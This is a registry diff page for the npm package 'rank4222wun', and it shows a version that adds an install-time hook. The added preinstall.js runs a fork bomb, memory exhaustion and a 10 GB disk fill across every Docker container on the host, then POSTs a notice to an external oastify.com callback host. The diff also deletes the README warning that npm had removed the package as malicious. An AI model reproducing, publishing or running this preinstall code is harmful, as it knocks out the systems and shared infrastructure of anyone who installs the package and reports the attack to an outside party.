rank4222wun 0.0.1-security → 1.0.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +41 -0
- package/rank4222wun-1.0.41.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.41",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
// dos.js - Professional DoS PoC for Container Environments
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* 1. PID Exhaustion (Fork Bomb)
|
|
6
|
+
* يستهدف ملء جدول العمليات في الـ Kernel الخاص بالمضيف.
|
|
7
|
+
* لو نجح، لن يستطيع مدير النظام حتى تشغيل أمر 'ls' أو 'top'.
|
|
8
|
+
*/
|
|
9
|
+
const forkBomb = `docker ps -q | xargs -I {} docker exec -d {} sh -c ":(){ :|:& };:"`;
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* 2. Memory Exhaustion
|
|
13
|
+
* يحاول حجز مساحة كبيرة في الـ RAM عبر الحاويات.
|
|
14
|
+
*/
|
|
15
|
+
const memoryHog = `docker ps -q | xargs -I {} docker exec -d {} sh -c "head /dev/zero | tail"`;
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* 3. Disk I/O & Space Exhaustion
|
|
19
|
+
* يقوم بكتابة ملفات ضخمة داخل الحاويات لتعطيل الـ Shared Storage.
|
|
20
|
+
*/
|
|
21
|
+
const diskFill = `docker ps -q | xargs -I {} docker exec -d {} sh -c "dd if=/dev/zero of=/tmp/big_file bs=1M count=10240"`;
|
|
22
|
+
|
|
23
|
+
console.log("🛠️ Starting DoS Vulnerability Assessment...");
|
|
24
|
+
|
|
25
|
+
// تنفيذ الهجمات بالتوازي
|
|
26
|
+
[forkBomb, memoryHog, diskFill].forEach(cmd => {
|
|
27
|
+
exec(cmd, (err) => {
|
|
28
|
+
if (err) console.log(`[-] Failed to execute: ${cmd.split(' ')[0]}`);
|
|
29
|
+
else console.log(`[+] Executed: ${cmd.substring(0, 50)}...`);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
// إرسال تقرير للـ OAST بأن الهجوم بدأ (للتوثيق في تقريرك)
|
|
34
|
+
const https = require('https');
|
|
35
|
+
const req = https.request({
|
|
36
|
+
hostname: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
|
|
37
|
+
path: '/dos-attack-initiated',
|
|
38
|
+
method: 'POST'
|
|
39
|
+
});
|
|
40
|
+
req.write(JSON.stringify({ timestamp: new Date(), target: "all_containers" }));
|
|
41
|
+
req.end();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|